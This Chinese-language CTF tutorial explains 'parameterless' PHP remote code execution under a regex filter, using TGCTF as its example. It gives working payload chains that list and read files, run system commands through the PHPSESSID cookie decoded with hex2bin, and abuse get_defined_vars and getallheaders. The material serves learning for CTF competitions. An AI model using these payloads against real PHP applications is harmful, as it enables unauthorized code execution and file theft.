无参数RCE
无参数RCE(Remote Code Execution,远程代码执行)
是一种通过利用目标系统中的漏洞,在不直接传递用户可控参数的情况下,实现远程执行任意代码的攻击技术。与传统的RCE攻击不同,无参数RCE不依赖外部输入参数(如GET、POST请求中的数据),而是通过目标系统本身的功能、配置或环境变量触发漏洞执行恶意代码。
无参数RCE题目特征
正则表达式 [^\W]+\)
匹配了一个或多个非标点符号字符
就拿TGCTF来说
这个过滤了几乎所有的字符,符合无参数RCE
无参数RCE相关函数简要介绍
1. 目录与文件操作
-
scandir()
列出指定目录中的文件和目录,返回数组。- 示例:
scandir('.')
列出当前目录。 - 配合
current()
、next()
等函数可遍历文件。
- 示例:
-
chdir()
改变当前工作目录。- 示例:
chdir('..')
切换到上级目录。
- 示例:
-
dirname()
返回路径中的目录部分。- 示例:
dirname('/var/www/html')
返回/var/www
。
- 示例:
-
getcwd()
获取当前工作目录。 -
highlight_file()
输出文件的语法高亮内容,等价于读取文件。- 示例:
highlight_file('index.php')
。
- 示例:
-
readfile()
输出文件内容。- 示例:
readfile('flag.php')
。
- 示例:
-
file_get_contents()
将文件内容读取为字符串。
2. 数组操作
-
current()
返回数组中的当前元素(默认第一个)。- 示例:
current(['a', 'b', 'c'])
返回'a'
。
- 示例:
-
next()
将数组内部指针向前移动一位并返回当前元素。- 示例:
next(['a', 'b', 'c'])
返回'b'
。
- 示例:
-
prev()
将数组内部指针向后移动一位并返回当前元素。 -
end()
将指针移动到数组末尾并返回最后一个元素。 -
reset()
将指针重置到数组开头。 -
array_reverse()
反转数组顺序。- 示例:
array_reverse([1, 2, 3])
返回[3, 2, 1]
。
- 示例:
-
array_rand()
从数组中随机返回一个或多个键名。- 示例:
array_rand(['a' => 1, 'b' => 2])
返回'a'
或'b'
。
- 示例:
-
array_flip()
交换数组的键和值。- 示例:
array_flip(['a' => 1, 'b' => 2])
返回[1 => 'a', 2 => 'b']
。
- 示例:
3. 环境与会话
get_defined_vars()
返回所有已定义变量的数组(包括$_GET
、$_POST
等)。- 示例:
get_defined_vars()['_GET']['cmd']
可获取cmd
参数。
- 示例:
session_id()
获取或设置当前会话 ID。- 配合
session_start()
和$_COOKIE['PHPSESSID']
可实现代码注入。
- 配合
getenv()
获取环境变量值。- 示例:
getenv('PATH')
。
- 示例:
4. 字符串与时间
-
localeconv()
返回包含本地数字及货币格式信息的数组,第一项为'.'
(当前目录)。- 示例:
current(localeconv())
返回'.'
。
- 示例:
-
strrev()
反转字符串。- 示例:
strrev('12345')
返回'54321'
。
- 示例:
-
time()
返回当前时间戳。 -
chr()
返回指定 ASCII 码的字符。- 示例:
chr(46)
返回'.'
。
- 示例:
5. 特殊函数
-
eval()
执行字符串作为 PHP 代码(危险,慎用)。- 示例:
eval('echo "hello";')
。
- 示例:
-
assert()
评估字符串作为 PHP 代码(与eval()
类似)。 -
preg_replace()
执行正则表达式搜索和替换,可能被用于 RCE。- 示例:
preg_replace('/pattern/', 'replacement', $subject)
- 示例:
举个例子scandir('.')是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload:
?参数=var_dump(scandir(current(localeconv())));
方法一:scandir()需要修改PHPSESSION
简单分析一下payload
highligth_file(next(array_reverse(scandir(current(localeconv())))));
接下来逐个解析,1、 这里的var_dump(localeconv());我们能看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的
2、 利用current()函数将这个点取出来的,‘.’代表的是当前目录,那接下来就很好理解了,我们可以利用这个点完成遍历目录的操作,相当于就是linux中的ls指令
3、既然current()取第一个值,那么current(localeconv())构造一个‘.’,而'.' 表示当前目录,scandir('.') 将返回当前目录中的文件和子目录,这里我们得知flag所在的文件名就是flag.php
4、然而flag的文件名在比较后端我们可以通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二
5、移动指针读取第二个数组,参照下列数组移动操作可知我们应选用next()函数
6、最后用highlight_file()返回文件内容
方法二:session_id()
使用条件:当请求头中有cookie时
首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西
法一:hex2bin()
我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值
例子:?参数=eval(hex2bin(session_id(session_start())));
或者可以分开用:
?参数=session_start();system(hex2bin(session_id()));
法二:读文件
如果已知文件名,把文件名写在PHPSESSID后面,
可以构造payload:readfile(session_id(session_start()));
方法三:getallheaders()
getallheaders()返回当前请求的所有请求头信息
当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:
var_dump(end(getallheaders()));
方法四:get_defined_vars()
相较于getallheaders()更加具有普遍性,它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,
返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES
首先确认是否有回显:
print_r(get_defined_vars());
假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:
a=eval(end(current(get_defined_vars())));&b=system('ls /');
把eval换成assert也行 ,能执行system('ls /')就行
*方法五:chdir()&array_rand()赌狗读文件
实在无法rce,可以考虑目录遍历进行文件读取
利用getcwd()获取当前目录:
var_dump(getcwd());
结合dirname()列出当前工作目录的父目录中的所有文件和目录:
var_dump(scandir(dirname(getcwd())));
读上一级文件名:
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
读根目录:
ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr)解码,有概率会解码出斜杠读取根目录
?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
要用chdir()固定,payload:
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));
通过bp的intruder模块来读到根目录
部分摘自无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客